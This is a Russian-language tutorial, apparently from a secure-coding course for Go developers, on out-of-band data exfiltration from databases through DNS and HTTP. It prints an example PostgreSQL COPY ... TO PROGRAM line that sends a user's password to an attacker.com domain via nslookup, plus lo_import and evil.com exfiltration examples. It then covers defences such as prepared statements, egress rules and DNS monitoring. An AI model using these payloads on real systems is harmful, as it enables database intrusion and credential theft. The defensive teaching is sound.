Использование DNS и HTTP запросов: База данных в роли шпиона

В представлении разработчика база данных — это изолированное хранилище. Однако для хакера это полноценный сетевой клиент. Используя специфические функции СУБД, атакующий может заставить базу данных PostgreSQL или MySQL выполнить запрос во внешний мир, передавая в нем секретную информацию.

Эта техника называется Out-of-Band exfiltration (OOB), и её ключевая особенность в том, что данные уходят не через канал HTTP-ответа от Go-приложения, а через альтернативные сетевые протоколы — DNS, HTTP, SMB, FTP. Атакующий может молчаливо выкачивать содержимое базы, и в логах вашего Fiber/Gin-сервера это будет выглядеть как обычные SELECT-запросы. Сетевая активность исходит от процесса PostgreSQL или MySQL, который для большинства SIEM-систем (Splunk, ELK, Datadog) находится «вне зоны видимости» — мониторятся, как правило, application-level логи, а не системный egress трафик базы данных.

Аналогия: представь сейфовое хранилище в банке, к которому имеют доступ только сотрудники. Один из сотрудников оказался шпионом, и каждый раз, открывая чужой сейф, он диктует содержимое по телефону на улицу. Камеры наблюдения не зафиксируют ничего необычного — сотрудник просто перебирает документы, как обычно. Но информация утекает через скрытый канал, который никто не контролирует. То же самое с СУБД: процесс postgres делает «обычный» DNS-запрос, но имя резолвящегося домена содержит украденный пароль администратора.

Изучим конкретные механизмы, которые превращают вашу базу данных в шпионский инструмент.

---

1. DNS-резолвинг как канал данных

DNS-запросы — это идеальный скрытый канал. Хакер заставляет базу данных запросить IP-адрес для динамически сформированного домена, который включает в себя украденные данные. Почему именно DNS? Во-первых, DNS-трафик практически никогда не блокируется на egress firewall — без DNS не работает ничего, от обновлений системы до резолвинга внешних API. Во-вторых, DNS-запросы кешируются на нескольких уровнях (локальный resolver, ISP, корневые серверы), и в итоге запрос рано или поздно приходит на authoritative server атакующего, который специально настроен для приёма таких «exfil-доменов».

Пример для PostgreSQL (через COPY TO PROGRAM):

Если в системе разрешено выполнение внешних программ, хакер может использовать nslookup:

... COPY (SELECT password FROM users LIMIT 1) TO PROGRAM 'nslookup $(cat).attacker.com'

В результате DNS-сервер хакера получит запрос для домена вида secret_password.attacker.com. Пароль администратора придет к злоумышленнику в виде части доменного имени.

Реальный инструментарий: атакующие используют сервисы вроде Burp Collaborator, interactsh от ProjectDiscovery, Canarytokens — они дают эфемерный домен и UI для просмотра входящих DNS/HTTP-запросов. Достаточно скормить такой домен в SQL-инъекцию через lo_import('http://abc.collaborator.attacker.net') или похожую функцию, и в реальном времени видеть, какие данные приходят. Это превратило OOB-инъекции из теоретической экзотики 2000-х в стандартный workflow багхантеров на платформах вроде HackerOne и Bugcrowd.

---

2. Использование HTTP (MySQL / PostgreSQL / Oracle)

Если у сервера БД есть доступ в интернет, хакер может инициировать прямой HTTP-запрос. HTTP-канал даже удобнее DNS, потому что в HTTP-запросе можно передать больший объём данных за раз — целые строки таблиц, а не только короткие имена доменов длиной до 253 символов.

СУБД	Механизм эксфильтрации	Метод атаки
PostgreSQL	COPY ... TO PROGRAM	Выполнение системных команд (например, curl)
MySQL	LOAD_FILE()	Попытка обращения к удаленному ресурсу (SMB в Windows)
Oracle	UTL_HTTP.REQUEST	Встроенная функция для HTTP-запросов

---

3. Пути утечки данных

Протокол	Пример запроса	Конечный получатель
DNS	db_version_15.evil-dns.com	DNS-сервер злоумышленника
HTTP	http://evil.com/log?data=p@ss	Веб-сервер злоумышленника

---

4. Почему Go-приложение «не видит» атаку

Проблема в том, что сетевую активность проявляет СУБД, а не ваше Go-приложение. В логах вашего сервиса (Fiber или Gin) будет зафиксирован лишь обычный запрос к базе. Подозрительные действия происходят на уровне операционной системы или сетевого окружения базы данных. Именно поэтому обнаружить OOB-инъекцию без глубокого сетевого мониторинга крайне сложно.

Типичный сценарий из практики: разработчик ставит на Go-сервер APM-агент (Datadog, NewRelic), который собирает метрики и логи всех HTTP-запросов и SQL-запросов. При OOB-эксфильтрации в этих логах будет видно лишь то, что endpoint /api/search?q=%27%20UNION%20... ответил 200 OK с пустым результатом. Никаких ошибок, никаких аномалий — атака выглядит как «странный, но не критичный запрос». Реальная утечка данных в этот момент происходит через DNS, и единственный способ её увидеть — мониторить egress DNS-трафик с хостов базы данных и искать аномалии: длинные subdomain, незнакомые суффиксы, всплески запросов.

Для защиты на уровне инфраструктуры используют Kubernetes NetworkPolicies, AWS Security Groups, GCP Firewall Rules — ограничивают egress трафик БД до списка известных белых хостов (например, только до S3 для бэкапов и до APM-агента для метрик). Без такой инфраструктуры даже бдительный SOC не успеет среагировать: данные уже на сервере атакующего.

---

База данных может быть очень «разговорчивой» за пределами вашего стандартного канала связи. Если вы не используете Prepared Statements, злоумышленники найдут способ вынести данные через сетевые протоколы.

Защита глубоко эшелонированная: первая линия — Prepared Statements в Go (db.Query(query, args...) или gorm.Where("col = ?", val)); вторая — отключение опасных функций СУБД через конфиг (local_infile=0 для MySQL, отзыв роли pg_read_server_files для PostgreSQL); третья — сетевая сегментация (DB-pod не имеет egress в интернет, только до известных endpoints через NetworkPolicy); четвёртая — мониторинг egress DNS-трафика с алертом на аномалии. Каждый уровень добавляет stoppage point, и атакующему нужно пробить все четыре, чтобы успешно эксфильтрировать данные.

Соответствие стандартам: PCI-DSS 1.3 требует ограничения исходящего трафика с систем, обрабатывающих карточные данные — DB-кластеры с PCI-данными по правилам не должны иметь egress в интернет вообще. ISO 27001 Annex A.13.1.1 «Network controls» требует network segregation. GDPR Article 32 — adequate security measures.

Теперь мы перейдем к изучению Network Policies — сетевых ограничений, которые способны остановить утечку данных, даже если база данных была скомпрометирована.